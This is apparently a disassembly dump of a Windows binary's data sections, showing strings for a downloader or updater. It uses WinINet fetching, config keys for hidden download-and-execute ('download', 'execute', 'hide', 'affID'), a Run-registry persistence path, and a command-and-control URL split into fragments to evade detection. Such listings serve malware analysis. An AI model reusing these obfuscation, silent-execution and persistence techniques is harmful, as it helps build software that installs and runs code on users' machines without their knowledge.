dd offset loc_432505
dd 1, 43250Eh, 2, 432517h, 3, 432523h, 4, 43252Fh, 4, 432538h
dword_4357D8 dd 19930520h, 2, 4357F8h, 5 dup(0) dd 0FFFFFFFFh, 43254Bh, 0
dd offset loc_432554
dword_435808 dd 19930520h, 1, 435828h, 5 dup(0) dd 0FFFFFFFFh, 43256Ah
dword_435830 dd 19930520h, 1, 435850h, 5 dup(0) dd 0FFFFFFFFh, 43257Dh
dword_435858 dd 19930520h, 1, 435878h, 5 dup(0) dd 0FFFFFFFFh, 432590h
dword_435880 dd 19930520h, 4, 4358A0h, 5 dup(0) dd 0FFFFFFFFh, 4325A3h, 0
dd offset loc_4325AC
dd 1, 4325B5h, 1, 4325BEh
dword_4358C0 dd 19930520h, 1, 4358E0h, 5 dup(0) dd 0FFFFFFFFh, 4325D1h
dword_4358E8 dd 19930520h, 4, 435908h, 5 dup(0) dd 0FFFFFFFFh, 4325E4h, 0
dd offset loc_4325ED
dd 1, 4325F6h, 1, 4325FFh
dword_435928 dd 19930520h, 3, 435948h, 5 dup(0) dd 0FFFFFFFFh, 432612h, 0
dd offset loc_43261B
dd 1, 432628h
dword_435960 dd 19930520h, 7, 435980h, 5 dup(0) dd 0FFFFFFFFh, 43263Fh, 0
dd offset loc_432649
dd 1, 432653h, 2, 43265Ch, 3, 432669h, 4, 432676h, 4, 432680h
dword_4359B8 dd 19930520h, 2, 4359D8h, 5 dup(0) dd 0FFFFFFFFh, 432694h, 0
dd offset loc_43269D
dword_4359E8 dd 19930520h, 1, 435A08h, 5 dup(0) dd 0FFFFFFFFh, 4326B4h
dword_435A10 dd 19930520h, 1, 435A30h, 5 dup(0) dd 0FFFFFFFFh, 4326C8h
dword_435A38 dd 19930520h, 1, 435A58h, 5 dup(0) dd 0FFFFFFFFh, 4326DCh
dword_435A60 dd 19930520h, 4, 435A80h, 5 dup(0) dd 0FFFFFFFFh, 4326EFh, 0
dd offset loc_4326F9
dd 1, 432702h, 1, 43270Ch
dword_435AA0 dd 19930520h, 1, 435AC0h, 5 dup(0) dd 0FFFFFFFFh, 432720h
dword_435AC8 dd 19930520h, 1, 435AE8h, 5 dup(0) dd 0FFFFFFFFh, 432740h
dword_435AF0 dd 19930520h, 1, 435B10h, 5 dup(0) dd 0FFFFFFFFh, 432760h
dword_435B18 dd 19930520h, 1, 435B38h, 5 dup(0) dd 0FFFFFFFFh, 432780h
dword_435B40 dd 19930520h, 3, 435B60h, 5 dup(0) dd 0FFFFFFFFh, 4327A0h, 0
dd offset loc_4327AC
dd 1, 4327B8h
dword_435B78 dd 19930520h, 3, 435B98h, 5 dup(0) dd 0FFFFFFFFh, 4327E0h, 0
dd offset loc_4327EC
dd 1, 4327F8h
dword_435BB0 dd 19930520h, 1Ah, 435BD0h, 5 dup(0) dd 0FFFFFFFFh, 432820h, 0
dd offset loc_432829
dd 1, 432832h, 2, 43283Bh, 3, 432844h, 4, 432850h, 5, 43285Ch
dd 6, 432868h, 7, 432874h, 8, 432880h, 9, 43288Ch, 0Ah
dd 432898h, 0Bh, 4328A4h, 0Ch, 4328B0h, 0Dh, 4328BCh, 0Eh
dd 4328C8h, 0Fh, 4328D4h, 10h, 4328E0h, 11h, 4328ECh, 12h
dd 4328F8h, 13h, 432904h, 3, 432910h, 3, 43291Ch, 16h
dd 432928h, 17h, 432931h, 17h, 43293Dh
dword_435CA0 dd 19930520h, 8, 435CC0h, 5 dup(0) dd 0FFFFFFFFh, 432953h, 0
dd offset loc_43295F
dd 0
dd offset loc_43296B
dd 0
dd offset loc_432977
dd 0
dd offset loc_432983
dd 0
dd offset loc_43298F
dd 0
dd offset loc_43299B
dd 0
dd offset loc_4329A7
dword_435D00 dd 19930520h, 2, 435D20h, 1, 435D30h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 435D48h, 4 dup(0)
dd offset loc_429649
dword_435D58 dd 19930520h, 1, 435D78h, 5 dup(0) dd 0FFFFFFFFh, 4329D0h
dword_435D80 dd 19930520h, 1, 435DA0h, 5 dup(0) dd 0FFFFFFFFh, 4329F0h
dword_435DA8 dd 19930520h, 1, 435DC8h, 5 dup(0) dd 0FFFFFFFFh, 432A10h
dword_435DD0 dd 19930520h, 1, 435DF0h, 5 dup(0) dd 0FFFFFFFFh, 432A30h, 0
dd offset off_437C58
dd 0
dd 0FFFFFFFFh, 0
dd 10h, 431CC8h, 0
dword_435E18 dd 1, 435DF8h dword_435E20 dd 0 dd offset sub_429CF0
dd 0
dd offset dword_435E18
align 200h
TEUm ends
; Section 2. (virtual address 00016000)
; Virtual size : 00009000 ( 36864.)
; Section size in file : 00009000 ( 36864.)
; Offset to raw data for section: 00016000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
TEUm segment para public 'CODE' use32
assume cs:TEUm
;org 436000h
assume es:nothing, ss:nothing, ds:TEUm, fs:nothing, gs:nothing
dword_436000 dd 400h dup(0) dword_437000 dd 0 dd offset sub_4284F0
dd offset sub_431B21
dword_43700C dd 0 dword_437010 dd 0 dword_437014 dd 3 dup(0) dd offset off_434AD4
align 8
dd 482Eh
dword_43702C dd 6325h off_437030 dd offset off_434AD4 ; DATA XREF: TEUm:00434E1Co
align 8
a_pavcexception db '.PAVCException@@',0
align 4
aR_0: ; DATA XREF: TEUm:00422558o
unicode 0, <r>,0
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4227A4:loc_4227EDo
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4227A4:loc_422808o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4227A4+79o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4227A4+8Bo
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4227A4+9Do
align 4
aD db '%d',0 ; DATA XREF: sub_422A1E+102o
align 4
aOpen db 'OPEN',0 ; DATA XREF: sub_422C48+23Eo
align 4
asc_4370B4: ; DATA XREF: sub_422C48+1B5o
unicode 0, <)>,0
aCrcOkInstall db 'crc ok, Install(',0 ; DATA XREF: sub_422C48+19Bo
align 4
a_old db '.old',0 ; DATA XREF: sub_422C48+159o
align 4
aCrcFailed db 'crc failed:',0 ; DATA XREF: sub_422C48+E9o
aInstallzip db 'InstallZip()',0Ah,0 ; DATA XREF: sub_422C48+7Bo
align 10h
a_bin db '.bin',0 ; DATA XREF: sub_422C48+3Do
align 4
aRetryD db '&retry=%d',0 ; DATA XREF: sub_422F1F+4Co
align 4
a0: ; DATA XREF: sub_425B2E+6Co
unicode 0, <0>,0
a02x db '%02X',0 ; DATA XREF: sub_422FB0+D1o
align 10h
dword_437110 dd 0D321C942h, 2212B3F2h, 6608AB02h, 0 ; sub_4230F8+8Eo
dword_437120 dd 6325h dword_437124 dd 74696E49h, 646E7542h, 0A656Chdword_437130 dd 5Ch ; sub_42552A+38o ...
aWindows db 'windows',0 ; DATA XREF: sub_423489+BEBo
aCrc db 'crc',0 ; DATA XREF: sub_423489:loc_423FB7o
aIdentifier db 'identifier',0 ; DATA XREF: sub_423489:loc_423F40o
align 4
aVersion_0 db 'version',0 ; DATA XREF: sub_423489:loc_423ECFo
aNewupdater db 'newupdater',0 ; DATA XREF: sub_423489:loc_423E5Fo
align 10h
aWait db 'wait',0 ; DATA XREF: sub_423489:loc_423DEFo
align 4
aExecute db 'execute',0 ; DATA XREF: sub_423489:loc_423D7Fo
aHide db 'hide',0 ; DATA XREF: sub_423489:loc_423D0Fo
align 4
aSavepath db 'SavePath',0 ; DATA XREF: sub_423489:loc_423CA4o
align 4
aSaveas db 'SaveAs',0 ; DATA XREF: sub_423489:loc_423C2Do
align 4
aParameters db 'parameters',0 ; DATA XREF: sub_423489:loc_423BBCo
align 4
aFilename db 'filename',0 ; DATA XREF: sub_423489:loc_423B4Bo
align 4
aRequiredfile db 'requiredfile',0 ; DATA XREF: sub_423489:loc_423ADAo
align 4
aKeyvalue db 'keyvalue',0 ; DATA XREF: sub_423489:loc_423A69o
align 10h
aKey db 'key',0 ; DATA XREF: sub_423489:loc_4239FEo
aRootkey db 'rootkey',0 ; DATA XREF: sub_423489+508o
aDownload db 'download',0 ; DATA XREF: sub_423489:loc_423865o
; sub_424485+5Fo
align 4
aWrNextupdate db 'WR\nextupdate',0 ; DATA XREF: sub_423489+3A6o
align 4
aNextupdate db 'nextupdate',0 ; DATA XREF: sub_423489:loc_423754o
align 4
aWrP db 'WR\p',0 ; DATA XREF: sub_423489+282o
align 4
aPaid db 'paid',0 ; DATA XREF: sub_423489:loc_423633o
align 4
aWrConfigversio db 'WR\configversion',0 ; DATA XREF: sub_423489+161o
align 4
aConfigversio_0 db 'configversion',0 ; DATA XREF: sub_423489+84o
align 4
aS db '%s',0 ; DATA XREF: sub_423489+6Eo
; sub_423489+4EAo ...
align 4
aParsexml db 'ParseXML()',0Ah,0 ; DATA XREF: sub_423489+2Fo
dword_437238 dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_4243E7+19o ...
dword_437248 dd 3Ah dword_43724C dd 765C5257h, 69737265h, 6E6Fh ; sub_424606+320o ...
dword_437258 dd 706D742Eh, 0 dword_437260 dd 6C6F2320h, 3A64haDefaultvalue db 'defaultvalue',0 ; DATA XREF: sub_425353+88o
; sub_426022+214o
align 4
asc_437278: ; DATA XREF: sub_424B41+652o
unicode 0, <}>,0
a001 db '001',0 ; DATA XREF: sub_424B41+5F5o
a000_1 db '000',0 ; DATA XREF: sub_424B41+5E3o
a0a887397a5f2_1 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA4DA76476'
; DATA XREF: sub_424B41+4AEo
db 'DE96109318D40A797',0
align 4
a000 db '0-00',0 ; DATA XREF: sub_424B41+410o
align 10h
a000_0 db '-000',0 ; DATA XREF: sub_424B41+3EFo
align 4
a0a887397a5f2_0 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA1CA61566'
; DATA XREF: sub_424B41+32Do
db '7C64A0F2DBA65B286D6',0
align 10h
asc_437340: ; DATA XREF: sub_424B41+2D7o
; sub_424B41+30Eo ...
unicode 0, <->,0
a0a887397a5f240 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FB1D67C567'
; DATA XREF: sub_424B41+228o
db '0CA643630A642B681C07D505E9B54180FA15B',0
align 4
a67f9198b db '67F9198B',0 ; DATA XREF: sub_424B41+1BAo
align 4
a39 db '39',0 ; DATA XREF: sub_424B41+10Eo
align 4
a67f9158b db '67F9158B',0 ; DATA XREF: sub_424B41+CBo
; sub_424B41+284o
align 4
asc_4373C8: ; DATA XREF: sub_425353+F8o
unicode 0, < >,0
aNner1 db 'nner1',0 ; DATA XREF: sub_425353+6Eo
align 4
aUnRu db 'un\ru',0 ; DATA XREF: sub_425353+5Do
align 4
aTversionR db 'tVersion\R',0 ; DATA XREF: sub_425353+4Co
align 4
aFtWindowsCurre db 'ft\Windows\Curren',0 ; DATA XREF: sub_425353+3Bo
align 4
aSoftwareMicros db 'SOFTWARE\Microso',0 ; DATA XREF: sub_425353+20o
align 10h
aGversion db 'gversion',0 ; DATA XREF: sub_42552A+5Ao
align 4
aConfi db 'confi',0 ; DATA XREF: sub_42552A+49o
align 4
aWr db 'WR',0 ; DATA XREF: sub_42552A+21o
; sub_425642+1Bo ...
align 4
aDate db 'date',0 ; DATA XREF: sub_425642+64o
align 10h
aTup db 'tup',0 ; DATA XREF: sub_425642+54o
aNex db 'nex',0 ; DATA XREF: sub_425642+44o
aP_0: ; DATA XREF: sub_42578F+49o
unicode 0, <p>,0
aI: ; DATA XREF: sub_425896+5Ao
; sub_4259AE+57o
unicode 0, <i>,0
aR: ; DATA XREF: sub_425896+38o
; sub_4259AE+35o ...
unicode 0, <R>,0
aW: ; DATA XREF: sub_425896+21o
; sub_4259AE+1Ao ...
unicode 0, <W>,0
asc_437448: ; DATA XREF: sub_4259AE+E4o
unicode 0, <,>,0
aCmd db 'cmd',0 ; DATA XREF: sub_425B2E+57o
aMd db 'md',0 ; DATA XREF: sub_425C67+6Bo
align 4
aC: ; DATA XREF: sub_425C67+5Ao
unicode 0, <c>,0
aAffid db 'affID',0 ; DATA XREF: sub_425D94+1E7o
align 10h
aVersion_1 db '\version',0 ; DATA XREF: sub_426022+264o
align 4
a11866787a5f240 db '11866787A5F240675EE6610530A652BC94C74E756BC56C0935BA7D9087C160476'
; DATA XREF: sub_426022+228o
db 'CDF5E0330BA48BC9CEF42506DCC7A072F8F48BF97C0564B70',0
align 10h
a_exe_tmp db '.exe.tmp',0 ; DATA XREF: sub_426022+134o
align 4
aInu db 'inu',0 ; DATA XREF: sub_426022+129o
aOf db 'of',0 ; DATA XREF: sub_426022+115o
align 4
aMr db 'mr',0 ; DATA XREF: sub_426022+104o
align 4
aE: ; DATA XREF: sub_426022+DDo
unicode 0, <e>,0
a_ex db '.ex',0 ; DATA XREF: sub_426022+B5o
aFinu db 'finu',0 ; DATA XREF: sub_426022+A1o
align 4
aRo db 'ro',0 ; DATA XREF: sub_426022+90o
align 4
aM db '\m',0 ; DATA XREF: sub_426022+64o
align 10h
aSei db 'sei ',0Ah,0 ; DATA XREF: sub_42640B+49o
align 4
aShellexecuteex db 'ShellExecuteEx',0 ; DATA XREF: sub_42640B+27o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_42640B+15o
asc_437534: ; DATA XREF: sub_426584+60o
unicode 0, <\>,0
asc_437538: ; DATA XREF: sub_426584+ACo
unicode 0, <\>,0
asc_43753C: ; DATA XREF: sub_426584+107o
unicode 0, <\>,0
asc_437540: ; DATA XREF: sub_426584+117o
unicode 0, <\>,0
asc_437544: ; DATA XREF: sub_42692B+8Ao
unicode 0, <\>,0
asc_437548: ; DATA XREF: sub_42692B+D6o
unicode 0, <\>,0
asc_43754C: ; DATA XREF: sub_42692B+131o
unicode 0, <\>,0
asc_437550: ; DATA XREF: sub_42692B+141o
unicode 0, <\>,0
asc_437554: ; DATA XREF: TEUm:00426FE4o
unicode 0, <\>,0
asc_437558: ; DATA XREF: TEUm:00427030o
unicode 0, <\>,0
asc_43755C: ; DATA XREF: TEUm:0042708Bo
unicode 0, <\>,0
asc_437560: ; DATA XREF: TEUm:0042709Bo
unicode 0, <\>,0
asc_437564: ; DATA XREF: TEUm:00427507o
unicode 0, <\>,0
asc_437568: ; DATA XREF: TEUm:00427553o
unicode 0, <\>,0
asc_43756C: ; DATA XREF: TEUm:004275AEo
unicode 0, <\>,0
asc_437570: ; DATA XREF: TEUm:004275BEo
unicode 0, <\>,0
aD_0 db '%d',0 ; DATA XREF: sub_42852F+83o
align 4
asc_437578 db '&x=',0 ; DATA XREF: sub_42852F+99o
aI_0 db '&i=',0 ; DATA XREF: sub_42852F+D0o
aP_1 db '&p=',0 ; DATA XREF: sub_42852F+107o
aCmd_0 db '&cmd=',0 ; DATA XREF: sub_42852F+111o
align 4
aGuid db '&GUID=',0 ; DATA XREF: sub_42852F+168o
align 4
aConfigversion db '&configversion=',0 ; DATA XREF: sub_42852F+19Fo
aVersion db '&version=',0 ; DATA XREF: sub_42852F+1AEo
align 10h
aHtt db 'htt',0 ; DATA XREF: sub_42852F+4CFo
aP db 'p://',0 ; DATA XREF: sub_42852F+4E9o
align 4
aWr_mc db 'wr.mc',0 ; DATA XREF: sub_42852F+503o
align 4
aBo db 'bo',0 ; DATA XREF: sub_42852F+51Do
align 4
aO: ; DATA XREF: sub_42852F+537o
unicode 0, <o>,0
a_co db '.co',0 ; DATA XREF: sub_42852F+551o
aMR db 'm/r',0 ; DATA XREF: sub_42852F+56Bo
aEta db 'eta',0 ; DATA XREF: sub_42852F+585o
aDpu_ db 'dpu.',0 ; DATA XREF: sub_42852F+59Fo
align 10h
aPh db 'ph',0 ; DATA XREF: sub_42852F+5B9o
align 4
aP? db 'p?',0 ; DATA XREF: sub_42852F+5D3o
align 4
aOld db 'old',0 ; DATA XREF: sub_429039+3C1o
align 10h
dword_4375F0 dd 2933BF81h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_429DA0+4Ao ...
dword_437600 dd 2 dup(0) dd 0C0h, 46000000h
aNeedDictiona_0 db 'need dictionary',0 ; DATA XREF: TEUm:off_4332D0o
aStreamEnd db 'stream end',0 ; DATA XREF: TEUm:004332D4o
align 4
aFileError db 'file error',0 ; DATA XREF: TEUm:004332DCo
align 4
aStreamError db 'stream error',0 ; DATA XREF: TEUm:004332E0o
align 4
aDataError db 'data error',0 ; DATA XREF: TEUm:004332E4o
align 4
aInsufficientMe db 'insufficient memory',0 ; DATA XREF: TEUm:004332E8o
aBufferError db 'buffer error',0 ; DATA XREF: TEUm:004332ECo
align 4
aIncompatibleVe db 'incompatible version',0 ; DATA XREF: TEUm:004332F0o
align 10h
aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_42A2DE+342o
aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_42A2DE+60Eo
align 4
aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_42B1FD+29Bo
align 4
aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_42B1FD+3D8o
align 4
aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_42B1FD+7D2o
aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_42B1FD+DE1o
align 4
aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_42CE8E+65o
aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_42CE8E+7Fo
aOversubscrib_0 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_42CF36+84o
align 4
aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_42CF36+96o
align 4
aOversubscrib_1 db 'oversubscribed distance tree',0 ; DATA XREF: sub_42CF36+119o
align 4
aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_42CF36+12Bo
align 4
aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_42CF36+144o
align 4
aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_42D0E6+3A8o
align 10h
aInvalidLiter_0 db 'invalid literal/length code',0 ; DATA XREF: sub_42D0E6+586o
a1_1_3 db '1.1.3',0 ; DATA XREF: TEUm:0042DC1Ao
align 4
a1_1_3_0 db '1.1.3',0 ; DATA XREF: sub_42DD45+6o
align 4
byte_43786C db 31h ; DATA XREF: sub_42DD45+20r
db 2Eh, 31h, 2Eh
dd 33h
aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_42DEC5+D1o
align 10h
aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_42DEC5+113o
aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_42DEC5+1B1o
align 4
aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_42DEC5+3C3o
aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_42DEC5+64Co
align 4
asc_4378E4: ; DATA XREF: sub_43012E+39o
unicode 0, <\>,0
aUt db 'UT',0 ; DATA XREF: sub_4301DC+4ACo
align 4
a__ db '../',0 ; DATA XREF: sub_430A42+32Do
a___0 db '..\',0 ; DATA XREF: sub_430A42+349o
aUnknownZipResu db 'unknown zip result code',0 ; DATA XREF: TEUm:loc_430FB9o
aSuccess db 'Success',0 ; DATA XREF: TEUm:loc_43113Fo
aCuldnTDuplicat db 'Culdn',27h,'t duplicate handle',0 ; DATA XREF: TEUm:loc_43114Bo
align 10h
aCouldnTCreateO db 'Couldn',27h,'t create/open file',0 ; DATA XREF: TEUm:loc_431157o
align 4
aFailedToAlloca db 'Failed to allocate memory',0 ; DATA XREF: TEUm:loc_431163o
align 4
aErrorWritingTo db 'Error writing to file',0 ; DATA XREF: TEUm:loc_43116Fo
align 10h
aFileNotFoundIn db 'File not found in the zipfile',0 ; DATA XREF: TEUm:loc_43117Bo
align 10h
aStillMoreDataT db 'Still more data to unzip',0 ; DATA XREF: TEUm:loc_431187o
align 4
aZipfileIsCorru db 'Zipfile is corrupt or not a zipfile',0 ; DATA XREF: TEUm:loc_431190o
aErrorReadingFi db 'Error reading file',0 ; DATA XREF: TEUm:loc_431199o
align 4
aCallerFaultyAr db 'Caller: faulty arguments',0 ; DATA XREF: TEUm:loc_4311A2o
align 10h
aCallerTheFileH db 'Caller: the file had already been partially unzipped',0
; DATA XREF: TEUm:loc_4311ABo
align 4
aCallerCanOnlyG db 'Caller: can only get memory of a memory zipfile',0
; DATA XREF: TEUm:loc_4311B4o
aCallerNotEnoug db 'Caller: not enough space allocated for memory zipfile',0
; DATA XREF: TEUm:loc_4311BDo
align 10h
aCallerThereWas db 'Caller: there was a previous error',0 ; DATA XREF: TEUm:loc_4311C6o
align 4
aCallerAddition db 'Caller: additions to the zip have already been ended',0
; DATA XREF: TEUm:loc_4311CFo
align 4
aCallerMixingCr db 'Caller: mixing creation and opening of zip',0
; DATA XREF: TEUm:loc_4311D8o
align 4
aZipBugInternal db 'Zip-bug: internal initialisation not completed',0
; DATA XREF: TEUm:loc_4311E1o
align 4
aZipBugTryingTo db 'Zip-bug: trying to seek the unseekable',0 ; DATA XREF: TEUm:loc_4311EAo
align 10h
aZipBugTheAntic db 'Zip-bug: the anticipated size turned out wrong',0
; DATA XREF: TEUm:loc_4311F3o
align 10h
aZipBugTriedToC db 'Zip-bug: tried to change mind, but not allowed',0
; DATA XREF: TEUm:loc_4311FCo
align 10h
aZipBugAnIntern db 'Zip-bug: an internal error during flation',0
; DATA XREF: TEUm:loc_431205o
align 10h
off_437C20 dd offset off_434AD4 ; DATA XREF: TEUm:off_434AF0o
; TEUm:00434B2Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dword_437C40 dd 1 align 8
dword_437C48 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_437C58 dd offset off_434AD4 ; DATA XREF: TEUm:off_434B38o
; TEUm:00434B74o ...
align 10h
a_?av_com_error db '.?AV_com_error@@',0
align 8
a8b db '8B',0 ; DATA XREF: sub_421ACF+24o
; sub_421ACF+64o ...
align 4
dd 7FFh dup(0)
byte_439C78 db 0 ; DATA XREF: TEUm:00421B9Ar
align 4
byte_439C7C db 0 ; DATA XREF: TEUm:00421BB5r
align 10h
byte_439C80 db 0 ; DATA XREF: sub_421C92+25r
align 4
byte_439C84 db 0 ; DATA XREF: sub_421D8A+Ar
align 4
byte_439C88 db 0 ; DATA XREF: sub_421D8A+25r
align 4
byte_439C8C db 0 ; DATA XREF: TEUm:00421E90r
align 10h
byte_439C90 db 0 ; DATA XREF: TEUm:00421EABr
align 4
byte_439C94 db 0 ; DATA XREF: TEUm:00421F65r
align 4
byte_439C98 db 0 ; DATA XREF: TEUm:loc_421FCBr
align 4
byte_439C9C db 0 ; DATA XREF: TEUm:00422050r
align 10h
byte_439CA0 db 0 ; DATA XREF: TEUm:0042206Br
align 4
byte_439CA4 db 0 ; DATA XREF: TEUm:loc_422104r
align 4
byte_439CA8 db 0 ; DATA XREF: sub_422296+Ar
align 4
dword_439CAC dd 0 byte_439CB0 db 0 ; DATA XREF: sub_422FB0+1Br
; sub_422FB0:loc_4230A9o ...
align 4
word_439CB4 dw 0 ; DATA XREF: sub_424B41+2Er
align 4
dword_439CB8 dd 0 dword_439CBC dd 0 dword_439CC0 dd 0 dword_439CC4 dd 0 dword_439CC8 dd 0 dword_439CCC dd 0 dword_439CD0 dd 0 dword_439CD4 dd 0 dword_439CD8 dd 0 dword_439CDC dd 0 dword_439CE0 dd 0 dword_439CE4 dd 0 dword_439CE8 dd 0 dword_439CEC dd 0 dword_439CF0 dd 0 dword_439CF4 dd 0 dword_439CF8 dd 0 dword_439CFC dd 0 dword_439D00 dd 0 ; sub_428520+3o ...
aJSJSJSJS db 'ssss',0
align 4
aJSJS db 'ss',0
align 4
dd 325000h, 325050h, 73EA86D4h, 801h dup(0)
dd offset off_4332CC
align 10h
dword_43BD40 dd 0 ; sub_429039+41o ...
dword_43BD44 dd 0 ; sub_43126B+73w ...
dword_43BD48 dd 0 dword_43BD4C dd 3 dup(0) dword_43BD58 dd 0 dword_43BD5C dd 0 dword_43BD60 dd 0 dword_43BD64 dd 0 dword_43BD68 dd 4 dup(0) dword_43BD78 dd 0 dword_43BD7C dd 0FFFFFFFFh ; TEUm:0043194Ew
dword_43BD80 dd 0FFFFFFFFh ; sub_4318D6+1Ao ...
dd 49Fh dup(0)
dd 140h, 12018h, 65724301h, 46657461h, 41656C69h, 65520100h
dd 69466461h, 100656Ch, 736F6C43h, 6E614865h, 656C64h
dd 74654701h, 656C6946h, 657A6953h, 65470100h, 73614C74h
dd 72724574h, 100726Fh
aGetcurrentdire db 'GetCurrentDirectoryA',0
db 1, 43h, 72h
aEatedirectorya db 'eateDirectoryA',0
db 1
aRemovedirector db 'RemoveDirectoryA',0
db 1, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
db 1, 47h, 65h
aTfileattribu_0 db 'tFileAttributesA',0
db 1, 55h, 6Eh
aMapviewoffile db 'mapViewOfFile',0
dw 4601h
aIndfirstfilea db 'indFirstFileA',0
dw 5301h
aEtcurrentdirec db 'etCurrentDirectoryA',0
db 1
aGlobalfree db 'GlobalFree',0
db 1
aWritefile db 'WriteFile',0
db 1
aFreelibrary db 'FreeLibrary',0
db 1
aGlobalrealloc db 'GlobalReAlloc',0
db 1
aGlobalalloc db 'GlobalAlloc',0
db 1
aGetprocaddress db 'GetProcAddress',0
db 1
aWidechartomult db 'WideCharToMultiByte',0
db 1, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 4D01h
aApviewoffile db 'apViewOfFile',0
db 1, 43h, 72h
aEatefilemappin db 'eateFileMappingA',0
db 1, 6Ch, 73h
aTrcata db 'trcatA',0
db 1
aSetlasterror db 'SetLastError',0
db 1, 46h, 69h
aNdclose db 'ndClose',0
dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 53746547h
dd 74726174h, 6E497075h, 416F66h, 74654701h, 75646F4Dh
dd 6148656Ch, 656C646Eh, 53010041h, 69467465h, 6954656Ch
dd 100656Dh
aDosdatetimetof db 'DosDateTimeToFileTime',0
dw 5301h
aYstemtimetofil db 'ystemTimeToFileTime',0
db 1
aGetcurrentproc db 'GetCurrentProcess',0
db 1
aDuplicatehandl db 'DuplicateHandle',0
db 1
aGetfiletype db 'GetFileType',0
db 1, 53h, 65h
aTfilepointer db 'tFilePointer',0
db 1, 4Ch, 6Fh
aCalfree db 'calFree',0
db 1
aInterlockedinc db 'InterlockedIncrement',0
dw 4301h
aReatemutexa db 'reateMutexA',0
db 1
aLstrlena db 'lstrlenA',0
dw 4701h
aEtvolumeinform db 'etVolumeInformationA',0
db 1, 47h, 65h
aTsystemdefault db 'tSystemDefaultLCID',0
db 1
aGetlocaleinfoa db 'GetLocaleInfoA',0
db 1
aInterlockeddec db 'InterlockedDecrement',0
db 1, 6Ch, 73h
aTrcpyna db 'trcpynA',0
db 1
aLstrcpya db 'lstrcpyA',0
dw 5701h
aAitforsingleob db 'aitForSingleObject',0
db 1
aGetwindowsdire db 'GetWindowsDirectoryA',0
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
db 1, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
db 1
aSleep db 'Sleep',0
dw 4D00h
dd 1, 1000120h, 43676552h, 65736F6Ch, 79654Bh, 67655201h
dd 6E65704Fh, 4579654Bh, 1004178h, 53676552h, 61567465h
dd 4565756Ch, 1004178h, 43676552h, 74616572h, 79654B65h
dd 417845h, 67655201h, 72657551h, 6C615679h, 78456575h
dd 5A000041h, 0E8000001h, 0FF000120h, 12FF1B10h, 164EFF1Bh
dd 0FF03ABFFh, 0ADFF039Eh, 0B63FF03h, 0FF0339FFh, 33FF15C4h
dd 1021FF16h, 0FF039CFFh, 1CFF039Ah, 35AFF02h, 0FF0320FFh
dd 17FF035Ch, 959FF02h, 0FF0219FFh, 64000337h, 40000001h
dd 1000121h
a?is_open@ifstr db '?is_open@ifstream@@QBEHXZ',0
dw 3F01h
aRead@istream@@ db 'read@istream@@QAEAAV1@PADH@Z',0
db 1, 3Fh, 67h
aCount@istream@ db 'count@istream@@QBEHXZ',0
dw 3F01h
aClose@ifstream db 'close@ifstream@@QAEXXZ',0
db 1
a??_difstream@@ db '??_Difstream@@QAEXXZ',0
db 1, 3Fh, 6Fh
aPen@ifstream@@ db 'pen@ifstream@@QAEXPBDHH@Z',0
dw 3F01h
aSh_read@filebu db 'sh_read@filebuf@@2HB',0
db 1, 2 dup(3Fh)
a0ifstream@@qae db '0ifstream@@QAE@XZ',0
dw 3F01h
aFail@ios@@qbeh db 'fail@ios@@QBEHXZ',0
align 2
dw 170h
dd 21680000h, 3F010001h, 243F313Fh, 69736162h, 74735F63h
dd 676E6972h, 3F554440h, 61686324h, 72745F72h, 73746961h
dd 73404440h, 40406474h, 61243F56h, 636F6C6Ch, 726F7461h
dd 32404440h, 74734040h, 51404064h, 58404541h, 3F01005Ah
dd 243F303Fh, 69736162h, 74735F63h, 676E6972h, 3F554440h
dd 61686324h, 72745F72h, 73746961h, 73404440h, 40406474h
dd 61243F56h, 636F6C6Ch, 726F7461h, 32404440h, 74734040h
dd 51404064h, 41404541h, 243F5642h, 6F6C6C61h, 6F746163h
dd 40444072h, 5A404031h, 733F0100h, 74736275h, 243F4072h
dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h
dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h
